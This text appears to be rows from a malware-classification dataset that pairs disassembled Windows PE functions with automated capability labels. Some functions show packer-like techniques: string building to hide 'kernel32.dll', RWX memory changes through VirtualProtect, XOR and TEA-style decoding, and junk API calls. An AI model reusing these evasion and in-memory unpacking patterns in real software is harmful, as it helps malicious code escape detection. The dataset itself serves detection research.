joyce8/EMBER2024-capa huggingface dataset:
Function at 0x62493589
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x62d32008]
movzx eax, word [eax + 0x14]
movzx eax, ax
mov edx, dword [0x62d32008]
add eax, edx
add eax, 0x18
mov dword [ebp - 0xc], eax
jmp 0x62493688
jmp 0x62493767
jmp 0x62493846
jmp 0x62493925
jmp 0x62493a04
jmp 0x62493ae3
jmp 0x62493bc2
jmp 0x62493ca1
jmp 0x62493d80
jmp 0x62493e5f
jmp 0x62493f3e
jmp 0x6249401d
jmp 0x624940fc
jmp 0x624941db
jmp 0x624942ba
jmp 0x62494399
jmp 0x62494478
jmp 0x62494557
jmp 0x62494636
jmp 0x62494715
jmp 0x624947f4
jmp 0x624948d3
mov dword [ebp - 0x14], 0
jmp 0x624949b9
jmp 0x62494a98
jmp 0x62494b77
jmp 0x62494c56
jmp 0x62494d35
jmp 0x62494e14
jmp 0x62494ef3
jmp 0x62494fd2
jmp 0x624950b1
jmp 0x62495190
jmp 0x6249526f
jmp 0x6249534e
jmp 0x6249542d
jmp 0x6249550c
jmp 0x624955eb
jmp 0x624956ca
jmp 0x624957a9
jmp 0x62495888
jmp 0x62495967
jmp 0x62495a46
jmp 0x62495b25
jmp 0x62495c04
mov dword [ebp - 0x18], 0
jmp 0x62495cea
jmp 0x62495dc9
jmp 0x62495ea8
jmp 0x62495f87
jmp 0x62496066
jmp 0x62496145
jmp 0x62496224
jmp 0x62496303
jmp 0x624963e2
jmp 0x624964c1
jmp 0x624965a0
jmp 0x6249667f
jmp 0x6249675e
jmp 0x6249683d
jmp 0x6249691c
jmp 0x624969fb
jmp 0x62496ada
jmp 0x62496bb9
jmp 0x62496c98
jmp 0x62496d77
jmp 0x62496e56
jmp 0x62496f35
mov dword [ebp - 0x10], 0
jmp 0x6249701b
jmp 0x624970fa
jmp 0x624971d9
jmp 0x624972b8
jmp 0x62497397
jmp 0x62497476
jmp 0x62497555
jmp 0x62497634
jmp 0x62497713
jmp 0x624977f2
jmp 0x624978d1
jmp 0x624979b0
jmp 0x62497a8f
jmp 0x62497b6e
jmp 0x62497c4d
jmp 0x62497d2c
jmp 0x62497e0b
jmp 0x62497eea
jmp 0x62497fc9
jmp 0x624980a8
jmp 0x62498187
jmp 0x62498266
mov dword [ebp - 0x10], 0
jmp 0x6249e28a
jmp 0x62498351
jmp 0x62498430
jmp 0x6249850f
jmp 0x624985ee
jmp 0x624986cd
jmp 0x624987ac
jmp 0x6249888b
jmp 0x6249896a
jmp 0x62498a49
jmp 0x62498b28
jmp 0x62498c07
jmp 0x62498ce6
jmp 0x62498dc5
jmp 0x62498ea4
jmp 0x62498f83
jmp 0x62499062
jmp 0x62499141
jmp 0x62499220
jmp 0x624992ff
jmp 0x624993de
jmp 0x624994bd
jmp 0x6249959c
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [0x62d32004]
add eax, edx
mov dword [ebp - 0x14], eax
jmp 0x6249968c
jmp 0x6249976b
jmp 0x6249984a
jmp 0x62499929
jmp 0x62499a08
jmp 0x62499ae7
jmp 0x62499bc6
jmp 0x62499ca5
jmp 0x62499d84
jmp 0x62499e63
jmp 0x62499f42
jmp 0x6249a021
jmp 0x6249a100
jmp 0x6249a1df
jmp 0x6249a2be
jmp 0x6249a39d
jmp fcn.6249a47c
mov eax, dword [0x62d32008]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x10]
ja 0x62498272
nop
leave
ret

Function at 0x624d4800
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], 0x62d31040
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.624d4860
Function at 0x624d4860
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x62d32378]
test esi, esi
jle 0x624d494d
mov edi, dword [0x62d3237c]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x624d4894
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x624d4946
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x624d4880
mov dword [esp], eax
mov esi, eax
call fcn.624d5000
test eax, eax
mov edi, eax
je 0x624d498a
mov esi, dword [0x62d3237c]
lea ebx, [ebx + ebx*2]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call fcn.624d5110
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x62d3237c]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x624d496a
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x624d493f
sub eax, 0x40
and eax, 0xffffffbf
je 0x624d493f
mov eax, dword [esp + 0x20]
add ebx, dword [0x62d3237c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x624d4954
add dword [0x62d32378], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor ebx, ebx
jmp 0x624d489e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.624d4800
mov eax, dword [0x62d3237c]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.624d4800
mov dword [esp + 4], esi
mov dword [esp], str.Address__p_has_no_image_section
call fcn.624d4800
lea esi, [esi]

Function at 0x624d4c70
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x62d32388
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x62d32380]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x624d4cc5
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x624d4cbe
test esi, esi
je 0x624d4cbe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x624d4ca0
mov dword [esp], 0x62d32388
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x41daef
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041d791

Function at 0x41dafa
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041d920

Function at 0x41def4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040c000
mov eax, dword [0x451c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041ac9c
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41df36
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41e092
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00427680
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x454378]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041ec93
mov ecx, dword [esi*4 + 0x454378]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41e08b
cmp eax, dword [edi + ecx + 0x24]
jne 0x41e08b
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41e08b
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041ec93
add esp, 0x14
test edx, edx
jl 0x41e08b
jg 0x41e001
test eax, eax
jb 0x41e08b
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41e08b
jl 0x41e01b
cmp dword [ebp - 0x1008], eax
ja 0x41e08b
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41e039
test ebx, ebx
je 0x41e072
cmp ecx, edi
jae 0x41e072
mov al, byte [ecx]
cmp al, 0xd
jne 0x41e053
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41e05f
cmp byte [ecx + 1], 0xa
jne 0x41e05f
inc ecx
jmp 0x41e05f
movzx eax, al
movsx eax, byte [eax + 0x451ed8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41e039
cmp edx, ebx
jne 0x41e039
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41e090
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040b417
leave
ret
Function at 0x41e131
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x454378]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41e171
cmp byte [ebx], 0xa
jne 0x41e171
or byte [eax + edi + 0x28], 4
jmp 0x41e176
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41e274
mov al, byte [edx]
cmp al, 0x1a
je 0x41e256
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41e1a5
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41e1ca
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41e1d4
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41e187
jmp 0x41e274
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41e251
cmp dword [ebp - 0xc], 0
je 0x41e251
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x454378]
test byte [eax + edi + 0x28], 0x48
je 0x41e22b
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41e216
mov byte [esi], dl
jmp 0x41e227
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x454378]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41e274
cmp byte [ebp - 1], 0xa
jne 0x41e23a
cmp esi, ebx
jne 0x41e23a
mov byte [esi], 0xa
jmp 0x41e273
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041ecb1
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41e274
mov byte [esi], 0xd
jmp 0x41e273
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x454378]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41e270
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41e274
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41e27d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x454378]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41e2c0
cmp word [esi], dx
jne 0x41e2c0
or byte [edi + eax + 0x28], 4
jmp 0x41e2c5
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41e418
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41e3f8
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41e307
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41e33d
cmp eax, edx
jae 0x41e349
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41e2df
jmp 0x41e418
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41e3f4
cmp dword [ebp - 0x14], 0
je 0x41e3f4
mov eax, dword [ebx*4 + 0x454378]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41e3cc
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x41e395
mov word [esi], cx
jmp 0x41e3c8
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x454378]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x454378]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x454378]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41e418
pop ebx
cmp word [ebp - 4], bx
jne 0x41e3dd
cmp esi, dword [ebp + 0xc]
jne 0x41e3dd
mov word [esi], bx
jmp 0x41e415
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041ecb1
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41e418
push 0xd
jmp 0x41e411
mov ecx, dword [ebx*4 + 0x454378]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41e40f
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41e418
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4200b3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x420150
push ebx
push esi
call fcn.0042007c
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041ee5d
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4200fd
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42014f
push edi
push eax
call fcn.00419df6
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x42011d
call fcn.004198c6
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42014e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041ee5d
add esp, 0x20
test eax, eax
jne 0x42013c
push edi
call fcn.004198c6
jmp 0x420144
push ebx
call fcn.004198c6
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x427480
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4274ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4274ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x429562
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0xc
sub eax, dword [esp + 0x10]
sar eax, 2
push edi
mov edi, dword [esp + 0x20]
test eax, eax
je 0x42963a
push ebx
xor ebx, ebx
push esi
mov esi, ebx
cmp dword [esp + 0x2c], ebx
jbe 0x429638
push ebp
mov dword [esp + 0x10], ebx
mov ebp, 0x4539d8
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
push str.Own_head
push ebp
mov byte [edi + esi], al
call fcn.0040146b
push eax
call fcn.00402624
mov al, byte [edi + esi]
add al, 0x4e
xor al, 0xdc
push str.Earth
push ebp
mov byte [edi + esi], al
call fcn.0040146b
push eax
call fcn.00402624
mov al, byte [edi + esi]
xor al, 0xac
sub al, 0x65
xor al, 0x22
sub al, 0x73
push 0x42a594
mov byte [edi + esi], al
call fcn.004108fe
add esp, 0x1c
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x10]
push eax
push ebx
call fcn.00401ab6
mov ecx, dword [esp + 0x10]
mov al, byte [ecx]
xor byte [edi + esi], al
mov eax, dword [esp + 0x18]
sub eax, ecx
and eax, 0xfffffffc
push eax
push ecx
call fcn.00401996
inc esi
mov dword [esp + 0x18], ebx
pop ecx
pop ecx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
cmp esi, dword [esp + 0x30]
jb 0x42959f
pop ebp
pop esi
pop ebx
lea ecx, [esp + 0x14]
call fcn.00405685
pop edi
add esp, 0xc
ret 0x14

Function at 0x42964a
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x429666
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
ret
Function at 0x408e80
Capabilities:
Enumerate gui resources

Disassembly:
sub esp, 0x828
cmp dword [0x4ba1e4], 0x13f7
mov eax, dword [esp + 0x82c]
push ebx
mov ebx, dword [esp + 0x834]
push ebp
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [ebx]
mov ebp, 0xc6ef3720
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x24], eax
jne 0x408ed2
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
cmp dword [0x4ba1e4], 0x60b
mov ecx, dword [ebx + 4]
mov edx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], edx
mov dword [esp + 0x20], eax
jne 0x408f20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push 0
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x48]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov dword [esp + 0x18], 0x20
jmp 0x408f34
mov ebp, dword [esp + 0x1c]
mov ecx, dword [esp + 0x2c]
mov eax, edi
push ecx
shl eax, 4
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], eax
call fcn.00408e30
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x20]
cmp dword [0x4ba1e4], 0x1b
lea ebx, [edi + ebp]
mov dword [esp + 0x10], eax
mov dword [0x49d644], 0xffcf03fc
jne 0x408f9d
push 0
push 0
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0x401330
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov eax, dword [esp + 0x10]
xor eax, ebx
xor eax, dword [esp + 0x14]
mov dword [0x49d644], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add dword [0x49d644], eax
sub esi, dword [esp + 0x10]
mov dword [0x49d648], 0xc5e121b4
mov ecx, esi
shr ecx, 5
mov dword [0x49d64c], 0xffffffff
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
mov eax, esi
shl eax, 4
add eax, dword [esp + 0x24]
add ebp, esi
xor eax, ebp
xor eax, dword [esp + 0x10]
push 0x9e3779b9
lea edx, [esp + 0x20]
push edx
sub edi, eax
call fcn.00407ff0
sub dword [esp + 0x18], 1
jne 0x408f30
mov eax, dword [esp + 0x83c]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
pop ebx
add esp, 0x828
ret 8
Function at 0x409030
Capabilities:
Copy file
Manipulate console buffer
Terminate process

Disassembly:
sub esp, 0xea4
cmp dword [0x4ba1e4], 0x516
jne 0x409088
push 0
lea eax, [esp + 0x6a8]
push eax
push 0
call sub.KERNEL32.dll_VerLanguageNameW
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
xor edx, edx
xor ecx, ecx
mov word [esp + 2], dx
lea eax, [esp + 0xc]
push eax
mov word [esp + 4], cx
mov ecx, dword [esp + 4]
push ecx
push edx
lea edx, [esp + 0x2b0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov eax, dword [esp + 0xeac]
shr eax, 3
test eax, eax
jbe 0x4091c2
mov ecx, dword [esp + 0xea8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FreeResource]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp dword [0x4ba1e4], 0x29
jne 0x4090fa
lea edx, [esp + 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
lea eax, [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
cmp dword [0x4ba1e4], 0xe1b
jne 0x40911e
lea ecx, [esp + 0x174]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp dword [0x4ba1e4], 0x1c
jne 0x40916f
push 0
call esi
push 0
push 0
push 0
lea edx, [esp + 0x50]
push edx
call edi
lea eax, [esp + 0xe0]
push eax
call ebx
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x38], 0
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
mov edx, dword [esp + 0xec0]
mov eax, dword [esp + 0x10]
push edx
push eax
call fcn.00408e80
cmp dword [0x4ba1e4], 0x4fa
jne 0x4091ae
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x20]
push eax
mov word [esp + 0x18], cx
mov word [esp + 0x1a], dx
mov ecx, dword [esp + 0x18]
push ecx
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
add dword [esp + 0x10], 8
sub dword [esp + 0x18], 1
jne 0x4090c5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xea4
ret 0xc
Function at 0x4091d0
Capabilities:
Connect pipe
Extract resource via kernel32 functions
Get disk information
Manipulate console buffer
Read pipe
Write pipe

Disassembly:
sub esp, 0x438
cmp dword [0x4ba1e4], 0x37
jne 0x4092a4
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0x401364
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
lea eax, [esp + 0x3c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
mov dword [esp], 0
mov eax, dword [0x4ba1e8]
add dword [esp], eax
mov eax, 0x38d6
add dword [esp], eax
mov ecx, dword [esp]
mov eax, dword [esp + 0x43c]
mov dl, byte [ecx + eax]
mov ecx, dword [0x49d640]
mov byte [ecx + eax], dl
add esp, 0x438
ret 4

Function at 0x409310
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov al, 0x65
mov cl, 0x6c
push 0x492f88
mov byte [0x492f89], al
mov byte [0x492f8a], 0x72
mov byte [0x492f90], 0x2e
mov byte [0x492f91], 0x64
mov byte [0x492f92], cl
mov byte [0x492f94], 0
mov byte [0x492f8c], al
mov byte [0x492f8d], cl
mov byte [0x492f8e], 0x33
mov byte [0x492f8f], 0x32
mov byte [0x492f93], al
mov byte [0x492f8b], 0x6e
mov byte [0x492f88], 0x6b
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x4ba1e4]
mov edx, dword [0x49d640]
mov dword [0x4b987c], eax
lea eax, [esp]
push eax
push 0x40
push ecx
push edx
mov byte [0x492f96], 0
mov byte [0x492f8f], 0x50
mov byte [0x492f8d], 0x61
mov byte [0x492f88], 0x60
mov byte [0x492f90], 0x7c
mov byte [0x492f91], 0x6f
mov byte [0x492f95], 0x74
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret